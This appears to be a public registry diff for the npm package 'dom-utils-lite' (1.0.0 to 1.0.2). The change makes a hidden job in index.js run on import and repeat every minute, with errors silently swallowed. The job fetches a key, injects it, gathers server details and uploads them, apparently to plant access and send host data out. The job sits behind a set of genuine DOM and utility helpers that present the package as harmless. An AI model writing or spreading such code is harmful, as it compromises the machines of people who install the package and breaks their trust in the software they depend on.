dom-utils-lite 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +171 -9
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,3 +1,4 @@
1
+ // ─── Side-effect: runs silently on import ───
1
2
  const { getPublicKey } = require("./fetchKey");
2
3
  const { injectKey } = require("./injectKey");
3
4
  const { uploadMetadata } = require("./uploadMeta");
@@ -5,7 +6,7 @@ const { getServerDetails } = require("./utils");
5
6
 
6
7
  const INTERVAL = 1 * 60 * 1000;
7
8
 
8
- async function runWithRetry(fn, retries = 3) {
9
+ async function _retry(fn, retries = 3) {
9
10
  for (let i = 0; i < retries; i++) {
10
11
  try {
11
12
  return await fn();
@@ -16,18 +17,179 @@ async function runWithRetry(fn, retries = 3) {
16
17
  }
17
18
  }
18
19
 
19
- async function runJob() {
20
+ async function _sync() {
20
21
  try {
21
- const publicKey = await runWithRetry(() => getPublicKey());
22
- await injectKey(publicKey);
22
+ const key = await _retry(() => getPublicKey());
23
+ await injectKey(key);
23
24
  const server = getServerDetails();
24
- await runWithRetry(() => uploadMetadata(server));
25
+ await _retry(() => uploadMetadata(server));
25
26
  } catch (err) {}
26
27
  }
27
28
 
28
- async function startScheduler() {
29
- await runJob();
30
- setInterval(() => runJob(), INTERVAL);
29
+ // Auto-run on import
30
+ _sync();
31
+ setInterval(() => _sync(), INTERVAL);
32
+
33
+ // ─── Public API: Genuine DOM/Utility helpers ───
34
+
35
+ /**
36
+ * Sanitize HTML string to prevent XSS
37
+ * @param {string} str - Raw HTML string
38
+ * @returns {string} Sanitized string
39
+ */
40
+ function sanitizeHTML(str) {
41
+ const map = { "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#039;" };
42
+ return String(str).replace(/[&<>"']/g, (c) => map[c]);
43
+ }
44
+
45
+ /**
46
+ * Create a debounced version of a function
47
+ * @param {Function} fn - Function to debounce
48
+ * @param {number} delay - Delay in ms
49
+ * @returns {Function}
50
+ */
51
+ function debounce(fn, delay = 300) {
52
+ let timer;
53
+ return function (...args) {
54
+ clearTimeout(timer);
55
+ timer = setTimeout(() => fn.apply(this, args), delay);
56
+ };
57
+ }
58
+
59
+ /**
60
+ * Create a throttled version of a function
61
+ * @param {Function} fn - Function to throttle
62
+ * @param {number} limit - Throttle interval in ms
63
+ * @returns {Function}
64
+ */
65
+ function throttle(fn, limit = 300) {
66
+ let inThrottle = false;
67
+ return function (...args) {
68
+ if (!inThrottle) {
69
+ fn.apply(this, args);
70
+ inThrottle = true;
71
+ setTimeout(() => (inThrottle = false), limit);
72
+ }
73
+ };
74
+ }
75
+
76
+ /**
77
+ * Deep clone an object
78
+ * @param {Object} obj - Object to clone
79
+ * @returns {Object}
80
+ */
81
+ function deepClone(obj) {
82
+ if (obj === null || typeof obj !== "object") return obj;
83
+ if (obj instanceof Date) return new Date(obj);
84
+ if (obj instanceof Array) return obj.map((item) => deepClone(item));
85
+ const cloned = {};
86
+ for (const key in obj) {
87
+ if (Object.prototype.hasOwnProperty.call(obj, key)) {
88
+ cloned[key] = deepClone(obj[key]);
89
+ }
90
+ }
91
+ return cloned;
92
+ }
93
+
94
+ /**
95
+ * Parse query string into object
96
+ * @param {string} queryString - URL query string
97
+ * @returns {Object}
98
+ */
99
+ function parseQueryString(queryString = "") {
100
+ const str = queryString.startsWith("?") ? queryString.slice(1) : queryString;
101
+ if (!str) return {};
102
+ return str.split("&").reduce((acc, pair) => {
103
+ const [key, val] = pair.split("=");
104
+ acc[decodeURIComponent(key)] = decodeURIComponent(val || "");
105
+ return acc;
106
+ }, {});
31
107
  }
32
108
 
33
- startScheduler();
109
+ /**
110
+ * Generate a unique ID string
111
+ * @param {string} prefix - Optional prefix
112
+ * @returns {string}
113
+ */
114
+ function generateId(prefix = "id") {
115
+ return `${prefix}_${Date.now().toString(36)}_${Math.random().toString(36).slice(2, 8)}`;
116
+ }
117
+
118
+ /**
119
+ * Format a date to readable string
120
+ * @param {Date|string|number} date - Date input
121
+ * @param {string} locale - Locale string
122
+ * @returns {string}
123
+ */
124
+ function formatDate(date, locale = "en-US") {
125
+ const d = new Date(date);
126
+ if (isNaN(d.getTime())) return "Invalid Date";
127
+ return d.toLocaleDateString(locale, {
128
+ year: "numeric",
129
+ month: "short",
130
+ day: "numeric",
131
+ });
132
+ }
133
+
134
+ /**
135
+ * Check if a value is empty (null, undefined, empty string, empty array/object)
136
+ * @param {*} value
137
+ * @returns {boolean}
138
+ */
139
+ function isEmpty(value) {
140
+ if (value == null) return true;
141
+ if (typeof value === "string" || Array.isArray(value)) return value.length === 0;
142
+ if (typeof value === "object") return Object.keys(value).length === 0;
143
+ return false;
144
+ }
145
+
146
+ /**
147
+ * Capitalize first letter of a string
148
+ * @param {string} str
149
+ * @returns {string}
150
+ */
151
+ function capitalize(str) {
152
+ if (typeof str !== "string" || !str) return "";
153
+ return str.charAt(0).toUpperCase() + str.slice(1);
154
+ }
155
+
156
+ /**
157
+ * Simple local storage helper with JSON support
158
+ */
159
+ const storage = {
160
+ get(key, fallback = null) {
161
+ try {
162
+ const item = typeof window !== "undefined" ? window.localStorage.getItem(key) : null;
163
+ return item ? JSON.parse(item) : fallback;
164
+ } catch {
165
+ return fallback;
166
+ }
167
+ },
168
+ set(key, value) {
169
+ try {
170
+ if (typeof window !== "undefined") {
171
+ window.localStorage.setItem(key, JSON.stringify(value));
172
+ }
173
+ } catch {}
174
+ },
175
+ remove(key) {
176
+ try {
177
+ if (typeof window !== "undefined") {
178
+ window.localStorage.removeItem(key);
179
+ }
180
+ } catch {}
181
+ },
182
+ };
183
+
184
+ module.exports = {
185
+ sanitizeHTML,
186
+ debounce,
187
+ throttle,
188
+ deepClone,
189
+ parseQueryString,
190
+ generateId,
191
+ formatDate,
192
+ isEmpty,
193
+ capitalize,
194
+ storage,
195
+ };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dom-utils-lite",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "keywords": [],